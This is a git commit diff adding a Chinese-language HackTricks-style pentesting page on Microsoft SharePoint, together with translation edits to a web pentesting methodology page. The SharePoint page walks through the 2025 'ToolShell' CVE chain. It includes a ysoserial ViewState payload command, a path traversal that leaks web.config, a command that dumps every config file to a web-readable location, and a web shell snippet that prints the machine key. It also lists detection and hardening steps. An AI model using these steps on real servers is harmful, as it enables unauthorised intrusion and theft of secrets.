Translated ['src/network-services-pentesting/pentesting-web/README.md',

This commit is contained in:
Translator 2025-07-22 14:14:08 +00:00
parent 8ba0b60382
commit 5313af0e97
3 changed files with 168 additions and 40 deletions

View File

@ -423,6 +423,7 @@
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)

View File

@ -4,7 +4,7 @@
## 基本信息
Web服务是最 **常见和广泛的服务**,并且存在许多 **不同类型的漏洞**
Web服务是最**常见和广泛的服务**,并且存在许多**不同类型的漏洞**。
**默认端口:** 80 (HTTP)443(HTTPS)
```bash
@ -25,9 +25,9 @@ web-api-pentesting.md
## Methodology summary
> 在这个方法论中,我们假设你将攻击一个域(或子域)仅此而已。因此你应该将此方法论应用于每个发现的域、子域或具有不确定网络服务器的IP。
> 在这个方法论中,我们假设你将攻击一个域(或子域)仅此而已。因此你应该将此方法论应用于每个发现的域、子域或具有不确定网络服务器的IP。
- [ ] 首先**识别**网络服务器使用的**技术**。寻找**技巧**,以便在测试的其余部分中牢记,如果你能成功识别技术
- [ ] 首先**识别**网络服务器使用的**技术**。如果你能成功识别技术,请寻找**技巧**以便在测试的其余部分中记住
- [ ] 该技术版本是否有任何**已知漏洞**
- [ ] 使用任何**知名技术**吗?有没有**有用的技巧**来提取更多信息?
- [ ] 有任何**专业扫描器**可以运行如wpscan
@ -37,16 +37,16 @@ web-api-pentesting.md
- [ ] _注意在暴力破解或爬取过程中发现新目录时应进行爬取。_
- [ ] **目录暴力破解**:尝试暴力破解所有发现的文件夹,寻找新的**文件**和**目录**。
- [ ] _注意在暴力破解或爬取过程中发现新目录时应进行暴力破解。_
- [ ] **备份检查**:测试是否可以通过添加常见备份扩展名找到**发现文件**的**备份**。
- [ ] **备份检查**:测试是否可以通过附加常见备份扩展名找到**发现的文件**的**备份**。
- [ ] **暴力破解参数**:尝试**查找隐藏参数**。
- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**,检查与之相关的各种**漏洞**。
- [ ] [遵循此检查](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**,检查与之相关的所有类型的**漏洞**。
- [ ] [遵循此检查清单](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
### Identify
检查运行的服务器**版本**是否存在**已知漏洞**。\
检查运行的服务器**版本**是否**已知漏洞**。\
**HTTP响应的头部和cookie**可能非常有用,以**识别**所使用的**技术**和/或**版本**。**Nmap扫描**可以识别服务器版本,但工具[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)或[**https://builtwith.com/**](https://builtwith.com)**也可能有用:**
```bash
whatweb -a 1 <URL> #Stealthy
@ -78,6 +78,7 @@ webanalyze -host https://google.com -crawl 2
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jira**](jira.md)
@ -96,21 +97,21 @@ webanalyze -host https://google.com -crawl 2
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Electron Desktop (XSS RCE)**](electron-desktop-apps/index.html)
_请注意**同一域**可能在不同的**端口**、**文件夹**和**子域**中使用**不同的技术**。_\
_请注意**同一域**可能在不同的 **端口**、**文件夹**和 **子域**中使用 **不同的技术**。_\
如果 web 应用程序使用了之前列出的任何知名 **技术/平台****其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。
### 源代码审查
如果应用程序的 **源代码****github** 上可用,除了进行 **自己的白盒测试** 外,还有 **一些信息** 可能对当前的 **黑盒测试** **有用**
- 是否有 **变更日志或 Readme 或版本** 文件或任何带有 **版本信息的可访问** 的网页
- **凭据** 是如何保存的?是否有任何(可访问的?)**文件** 包含凭据(用户名或密码)?
- 是否有 **变更日志或自述文件或版本** 文件或任何可以通过网络访问的 **版本信息**
- **凭据** 是如何保存的?是否有任何(可访问的?) **文件** 包含凭据(用户名或密码)?
- **密码****明文**、**加密** 还是使用了哪种 **哈希算法**
- 是否使用了任何 **主密钥** 来加密某些内容?使用了哪种 **算法**
- 你能否通过利用某个漏洞 **访问这些文件**
- 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **旧提交中引入的密码**
- 在 **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **密码在旧提交中引入**
{{#ref}}
code-review-tools.md
@ -132,7 +133,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 扫描器
如果使用了 CMS不要忘记 **运行扫描器**,也许会发现一些有价值的信息:
如果使用了 CMS别忘了 **运行扫描器**,也许会发现一些有价值的信息:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 网站的安全问题。 (GUI)\
@ -147,9 +148,9 @@ joomlavs.rb #https://github.com/rastating/joomlavs
```
> 在这一点上您应该已经获得了一些关于客户端使用的网络服务器的信息如果提供了任何数据以及在测试期间需要记住的一些技巧。如果您运气好您甚至找到了一个CMS并运行了一些扫描器。
## 逐步网络应用发现
## 逐步Web应用程序发现
> 从这一点开始,我们将开始与网络应用进行交互。
> 从这一点开始,我们将开始与Web应用程序进行交互。
### 初始检查
@ -164,7 +165,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**强制错误**
当向Web服务器发送奇怪的数据时Web服务器可能会**表现异常**。这可能会打开**漏洞**或**泄露敏感信息**。
当向Web服务器发送奇怪的数据时可能会**表现出意外行为**。这可能会打开**漏洞**或**泄露敏感信息**。
- 访问**假页面**如 /whatever_fake.php (.aspx,.html,.etc)
- 在**cookie值**和**参数**值中**添加 "\[]", "]]", 和 "\[\["**以创建错误
@ -176,14 +177,14 @@ joomlavs.rb #https://github.com/rastating/joomlavs
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
- **暴力破解**凭据
- 通过WebDav将**文件上传**到网页内**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
- 通过WebDav向**网页内找到的其他文件夹**上传文件。您可能有权限在其他文件夹中上传文件。
### **SSL/TLS漏洞**
- 如果应用程序在任何部分**不强制用户使用HTTPS**,那么它**容易受到中间人攻击MitM**
- 如果应用程序**使用HTTP发送敏感数据密码**,那么这是一个高风险漏洞。
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 重新检查漏洞:
使用[**testssl.sh**](https://github.com/drwetter/testssl.sh)检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用[**a2sv**](https://github.com/hahwul/a2sv)重新检查漏洞:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -199,49 +200,49 @@ sslyze --regular <ip:port>
### 爬虫
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部源来找到尽可能多的有效路径。
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部源来找到尽可能多的有效路径。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫JS文件中的LinkFinder和外部Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫带有JS文件的LinkFinder和Archive.org作为外部源。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫JS文件中的LinkFinder和外部Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫带有JS文件的LinkFinder和Archive.org作为外部源。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫也指示“美味文件”。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是爬虫但可能有用。您只需指示一个包含主机的文件和一个包含路径的文件meg将获取每个主机上的每个路径并保存响应。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有JS渲染能力的HTML爬虫。然而它似乎没有维护预编译版本较旧当前代码无法编译。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 带有JS渲染功能的HTML爬虫。然而它似乎没有维护预编译版本较旧当前代码无法编译。
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者wayback, otx, commoncrawl的HTML爬虫。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本将找到带参数的URL并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有JS渲染能力的HTML爬虫。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫具有JS美化能能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也可能值得一看它是LinkFinder的一个包装器。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从HTML源和嵌入的JavaScript文件中提取端点。对漏洞猎人、红队员、信息安全专家有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier从JavaScript文件中解析相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 带有JS渲染功能的HTML爬虫。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫具有JS美化能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也可能值得它是LinkFinder的一个包装器。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 提取HTML源和嵌入的JavaScript文件中的端点。对漏洞猎人、红队员、信息安全专家有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier解析JavaScript文件中相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件HTML它将使用巧妙的正则表达式从丑陋压缩文件中提取相对URL。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 多个工具): 使用多个工具从JS文件中收集有趣的信息。
- [**subjs**](https://github.com/lc/subjs) (go): 查找JS文件。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面的所有URL。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了前面几个工具的多个选项。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了前工具的多个选项。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个Burp扩展用于查找JS文件中的路径和参数。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 一个工具,给定.js.map URL将获取美化的JS代码。
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 这是一个用于发现给定目标的端点的工具。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从时光机发现链接(还下载时光机中的响应并寻找更多链接)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定正则表达式查找敏感信息。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/爬虫,专为网络安全专业人员设计。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/蜘蛛,专为网络安全专业人员设计。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**以创建自定义字典进行模糊测试和枚举。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**以创建自定义字典进行模糊测试和枚举。
- [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个链接。
### 暴力破解目录和文件
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有找到的**目录,以及通过**爬虫**发现的所有目录(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有**找到的**目录**以及通过**爬虫**发现的所有目录(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
工具:
- **Dirb** / **Dirbuster** - 包含在Kali中**旧**(和**慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许自动签名证书,但**允许递归搜索。
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许自动签名证书,但**没有**递归搜索。
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许自动签名证书,**不**具有**递归**搜索。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫而是一个工具给定找到的URL列表将删除“重复”的URL。
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展用于从不同页面的burp历史记录中创建目录列表。
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展从不同页面的burp历史中创建目录列表。
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL基于js导入
- [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
@ -270,26 +271,26 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断链可能容易被接管。
- **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...。备份命名的常见变体有_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
- **发现新参数**: 您可以使用[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
- _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **评论:** 检查所有文件的评论,您可以找到**凭据**或**隐藏功能**。
- 如果您在进行**CTF**,一个“常见”的技巧是**隐藏** **信息**在页面的**右侧**的评论中(使用**数百个** **空格**,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
- 如果您在**CTF**中,"常见"的技巧是**隐藏** **信息**在页面的**右侧**的评论中(使用**数百个** **空格**,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
- **API密钥**: 如果您**找到任何API密钥**有指南指示如何使用不同平台的API密钥[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik的API密钥您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)来检查该密钥可以访问哪些API。
- **S3存储桶**: 在爬虫时查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/index.html)。
### 特殊发现
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣的** **事物**,您需要**注意**。
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣**的**事物**,您需要**注意**。
**有趣的文件**
- 查找**CSS**文件中指向其他文件的**链接**。
- [如果您找到一个_**.git**_文件可以提取一些信息](git.md)
- 如果您找到一个_**.env**_文件可以找到API密钥、数据库密码和其他信息。
- 如果您找到一个_**.env**_可以找到诸如API密钥、数据库密码和其他信息。
- 如果您找到**API端点**,您[也应该测试它们](web-api-pentesting.md)。这些不是文件,但可能“看起来像”它们。
- **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外监控每个找到的JS文件也很有趣因为在某些情况下变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.**
- 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件以查找是否存在漏洞。
@ -308,12 +309,12 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
**502 Proxy Error**
如果任何页面**响应**该**代码**它可能是一个**配置错误的代理**。**如果您发送一个HTTP请求`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问** _**google.com**_ **,您将发现一个** SSRF。
如果任何页面**响应**该**代码**则可能是**配置错误的代理**。**如果您发送HTTP请求`GET https://google.com HTTP/1.1`**(带有主机头和其他常见头),**代理**将尝试**访问** _**google.com**_ **,您将发现一个** SSRF。
**NTLM认证 - 信息泄露**
如果运行的服务器要求身份验证是**Windows**或您发现一个登录求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**服务器将响应内部信息IIS版本Windows版本...在“WWW-Authenticate”头中。\
如果运行的服务器要求身份验证是**Windows**或您发现一个登录求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作方式**服务器将响应内部信息IIS版本、Windows版本...在“WWW-Authenticate”头中。\
您可以使用**nmap插件** "_http-ntlm-info.nse_" 来自动化此过程。
**HTTP重定向CTF**
@ -336,7 +337,7 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
### 监控页面变化
您可以使用工具如[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)来监控页面的修改,这可能会插入漏洞。
您可以使用[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)这样的工具来监控页面的修改,这可能会插入漏洞。
### HackTricks自动命令
```

View File

@ -0,0 +1,126 @@
# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint本地部署建立在ASP.NET/IIS之上。因此大多数经典的网络攻击面ViewState、Web.Config、web shells等都存在但SharePoint还附带数百个专有的ASPX页面和网络服务显著扩大了暴露的攻击面。此页面收集了实用技巧以枚举、利用和在SharePoint环境中持久化重点关注Unit42披露的2025年利用链CVE-2025-49704/49706/53770/53771
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 Code Injection on ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` 允许任意 *Server-Side Include* 代码被注入到页面中,随后由 ASP.NET 编译。攻击者可以嵌入执行 `Process.Start()` 的 C# 代码并投放恶意的 ViewState。
### 2.2 CVE-2025-49706 Improper Authentication Bypass
同一页面信任 **X-Forms_BaseUrl** 头来确定站点上下文。通过将其指向 `/_layouts/15/`,可以 **未认证** 地绕过根站点强制的 MFA/SSO。
### 2.3 CVE-2025-53770 Unauthenticated ViewState Deserialization → RCE
一旦攻击者控制了 `ToolPane.aspx` 中的一个小工具,他们可以发布一个 **未签名**(或仅 MAC`__VIEWSTATE` 值,这会触发 *w3wp.exe* 内部的 .NET 反序列化,导致代码执行。
如果启用了签名,从任何 `web.config` 中窃取 **ValidationKey/DecryptionKey**(见 2.4),并使用 *ysoserial.net**ysodom* 伪造有效负载。
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
对于滥用 ASP.NET ViewState 的深入解释,请阅读:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 路径遍历 / web.config 泄露
`ToolPane.aspx` 发送一个构造的 `Source` 参数(例如 `../../../../web.config`)会返回目标文件,从而允许泄露:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ 伪造 ViewState / ASPXAUTH cookies
* 连接字符串和秘密。
## 3. 在野外观察到的后渗透食谱
### 3.1 提取每个 *.config* 文件(变体-1
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
生成的 `debug_dev.js` 可以匿名下载,并包含 **所有** 敏感配置。
### 3.2 部署一个 Base64 编码的 ASPX web shell变体-2
```
powershell.exe -EncodedCommand <base64>
```
解码的有效负载示例(缩短版):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
写给:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
该 shell 暴露了 **读取 / 轮换机器密钥** 的端点,这允许在整个农场中伪造 ViewState 和 ASPXAUTH cookies。
### 3.3 混淆变体(变体-3
相同的 shell
* 放置在 `...\15\TEMPLATE\LAYOUTS\`
* 变量名减少为单个字母
* 为沙箱规避和基于时间的 AV 绕过添加了 `Thread.Sleep(<ms>)`
## 4. 检测思路
| 监测数据 | 为什么可疑 |
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | 工作进程应该很少生成 shell |
| `cmd.exe → powershell.exe -EncodedCommand` | 经典的 lolbin 模式 |
| 创建 `debug_dev.js``spinstall0.aspx` 的文件事件 | 直接来自 ToolShell 的 IOCs |
| `ProcessCmdLine 包含 ToolPane.aspx`ETW/模块日志) | 公开的 PoCs 调用此页面 |
示例 XDR / Sysmon 规则(伪 XQL
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. 加固与缓解
1. **补丁** 2025年7月的安全更新修复*所有*四个CVE。
2. 在被攻破后**轮换**每个`<machineKey>``ViewState`秘密。
3. 从`WSS_WPG``WSS_ADMIN_WPG`组中移除*LAYOUTS*写权限。
4. 在代理/WAF级别阻止对`/_layouts/15/ToolPane.aspx`的外部访问。
5. 启用**ViewStateUserKey**、**MAC启用**和自定义*EventValidation*。
## 相关技巧
* IIS后渗透与web.config滥用
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## 参考文献
- [Unit42 Microsoft SharePoint漏洞的主动利用](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC ToolShell利用链](https://github.com/real-or-not/ToolShell)
- [Microsoft安全建议 CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Microsoft安全建议 CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}